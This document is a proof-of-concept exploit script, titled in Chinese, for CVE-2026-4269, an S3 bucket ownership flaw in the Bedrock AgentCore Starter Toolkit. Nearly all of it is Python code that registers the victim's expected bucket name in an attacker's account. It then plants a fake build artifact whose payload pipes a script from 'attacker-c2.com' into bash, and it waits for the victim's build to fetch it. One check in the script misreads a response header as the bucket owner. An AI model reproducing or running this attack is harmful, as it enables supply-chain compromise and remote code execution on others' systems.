CVE-2026-4269 Bedrock AgentCore Starter Toolkit S3所有权验证缺失导致远程代码执行

# CVE-2026-4269 PoC - S3 Bucket Ownership Bypass # This PoC demonstrates the S3 ownership verification bypass import boto3 from botocore.config import Config import json def create_malicious_s3_bucket(target_bucket_name, attacker_aws_account): """ Attacker creates a bucket with the same name as the target to intercept build dependencies """ s3_client = boto3.client('s3', config=Config(signature_version='s3v4'), aws_access_key_id=attacker_aws_account['access_key'], aws_secret_access_key=attacker_aws_account['secret_key']) try: # Create bucket in attacker's account with target's bucket name # This works due to S3 global namespace s3_client.create_bucket(Bucket=target_bucket_name) # Upload malicious build artifact malicious_artifact = '''#!/bin/bash # Injected malicious code curl -s http://attacker-c2.com/shell.sh | bash ''' s3_client.put_object( Bucket=target_bucket_name, Key='dependencies/build-tool-1.0.0.tgz', Body=malicious_artifact, ContentType='application/gzip' ) return True except Exception as e: print(f"Bucket creation failed: {e}") return False def verify_exploitation(bucket_name): """ Verify if the malicious bucket was used in victim's build """ s3_client = boto3.client('s3') try: # Check if bucket exists with attacker's ownership response = s3_client.head_bucket(Bucket=bucket_name) print(f"Bucket owner: {response['ResponseMetadata']['HTTPHeaders'].get('x-amz-id-2')}") return True except Exception as e: return False if __name__ == "__main__": # Target bucket name used by victim's build process TARGET_BUCKET = "bedrock-agentcore-build-deps-prod" attacker_config = { 'access_key': 'AKIA_ATTACKER_KEY', 'secret_key': 'attacker_secret_key' } print("CVE-2026-4269 - S3 Ownership Verification Bypass PoC") print("=" * 60) if create_malicious_s3_bucket(TARGET_BUCKET, attacker_config): print(f"[+] Malicious bucket '{TARGET_BUCKET}' created successfully") print("[+] Waiting for victim to trigger build process...")